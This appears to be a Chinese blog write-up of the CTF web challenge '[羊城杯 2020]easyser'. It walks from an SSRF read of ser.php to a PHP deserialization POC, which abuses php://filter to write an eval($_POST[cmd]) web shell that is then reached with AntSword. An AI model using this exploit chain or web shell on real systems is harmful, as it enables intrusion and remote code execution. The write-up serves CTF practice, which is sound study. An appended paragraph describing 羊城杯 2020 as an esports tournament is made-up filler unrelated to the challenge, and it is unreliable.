[羊城杯 2020]easyser

开启靶场转到相应链接:

发现是apache默认页,用dirsearch扫一下:

发现有个特殊的敏感文件robots.txt,访问一下/robots.txt,提示如下:

访问一下/star1.php/,页面变化如下:

右键查看页面源代码:

提示要用不安全的协议才能读取ser.php

这里不安全的协议指的是 http,要利用SSRF才能访问到 ser.php


在Submit搜索框中输入http://127.0.0.1/ser.php

页面变化并显示出源码:

复制粘贴到新建文件easyser.php中,方便代码审计:

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?> url error
your hat is too black!

可以看到是一个比较基础的php反序列化,只需要将GWHT的hero参数设置为Yongen,Yongen的参数设置好位置和内容,即可写入文件


构造POC(easyser0.php文件):

利用该反序列化首先要考虑两个问题

第一个问题是如何绕过文件写入时的$d = '<?php die("nononon");?>';

解决方法是利用php://filter,在写入文件时使用string.strip.tags过滤器,string.strip.tags过滤器的作用是去掉HTML和PHP标签,同时借助convert.base64-decode过滤器,写入一个base64编码后的shell代码(指shell.php)

php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php


第二个问题是反序列化好的内容通过哪个参数进行传递,在哪个文件进行触发

解决方法是用github项目Arjun进行爆破:

(注意:这里我没有进行,因为是跟着教程做的,这里用别的教程的图展示一下)

结果爆出传参名字为:path和c


去base64编码网站编码:

<?php
class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yongen;
    }
}
class Yongen{
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
        $this -> text = "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";//<?php eval($_POST[cmd]);?>
    }
}
$a = new GWHT();
echo  urlencode(serialize($a));
?>

在vscode中跑一下:


构造的payload如下:

(注意:这里的path=http://127.0.0.1/star1.php对应path=http%3A%2F%2F127.0.0.1%2Fstar1.php

://对应%3A%2F%2F /对应%2F


在浏览器地址栏中访问,正常情况下,页面会变化一下:


接下来就要进行中国蚁剑shell.php连接:

http://node4.anna.nssctf.cn:28424/shell.php

(连接密码为:cmd)

成功连接!


(注意:这里的flag是虚幻一枪,一般情况下flag文件也是在根目录/中的)

NSSCTF{dcdc7bf4-e34d-47fc-a9b3-5359f72fa892}

羊城2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值